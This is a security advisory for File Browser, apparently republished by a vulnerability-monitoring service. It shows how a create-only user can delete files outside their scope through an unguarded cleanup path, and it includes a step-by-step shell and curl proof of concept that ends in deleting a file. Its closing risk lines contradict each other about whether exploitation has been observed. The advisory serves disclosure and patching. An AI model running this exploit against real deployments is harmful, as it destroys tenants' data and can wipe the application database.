Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-fmm7-x4gx-8jhr
No affected components available
Summary
A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.
ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.
Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174
Details
CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:
ScopedFs.RemoveandScopedFs.RemoveAllskipguard()(files/scoped.go:138-144) — they calls.base.Remove/RemoveAlldirectly, unlike every other method.resourcePostHandlerdoes not return on aNewFileInfocontainment error (http/resource.go:125-180). For an out-of-scope pathNewFileInfofails, but the handler only uses that for the override branch (if err == nil) and falls through towriteFile, which is correctly guard-blocked and errors — triggering the failure-cleanup_ = d.user.Fs.RemoveAll(r.URL.Path)(http/resource.go:173) on the unvalidated path.
Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.
Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.
Precondition
An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.
Proof of concept
Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:
# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt
# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root
# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
--scope=/scope \
--perm.admin=false --perm.create=true \
--perm.modify=false --perm.delete=false \
--perm.rename=false --perm.share=false --perm.execute=false
# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link
# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080
# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"victim","password":"hunter2"}')
# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
# and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
'http://127.0.0.1:8080/api/resources/link/victim.txt'
# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"
Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):
GET /api/raw/link/secret.txt -> 403 (read containment still holds — the v2.63.14 fix)
POST /api/resources/link/secret.txt -> 403 (write blocked)
=> /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)
Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).
Impact
A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the ScopedFs boundary and the Perm.Delete gate. If the target is a directory, RemoveAll recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.
Suggested fix
- Add
guard()toScopedFs.RemoveandScopedFs.RemoveAll(files/scoped.go), mirroring the other methods (closes the class for all callers). - Defense-in-depth: in
resourcePostHandler, return early whenNewFileInforeturns a non-not-exist error (do not fall through towriteFile/cleanup on a path that failed containment).
References
- Incomplete fix of CVE-2026-54094 /
GHSA-239w-m3h6-ch8v. - Affected code:
files/scoped.go(ScopedFs.Remove,ScopedFs.RemoveAll), reached fromhttp/resource.go(resourcePostHandlerfailure-cleanup, line 173). - Confirmed unpatched at HEAD
be23ab3(v2.63.15); no open issue/PR addresses theRemove/RemoveAllgap.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard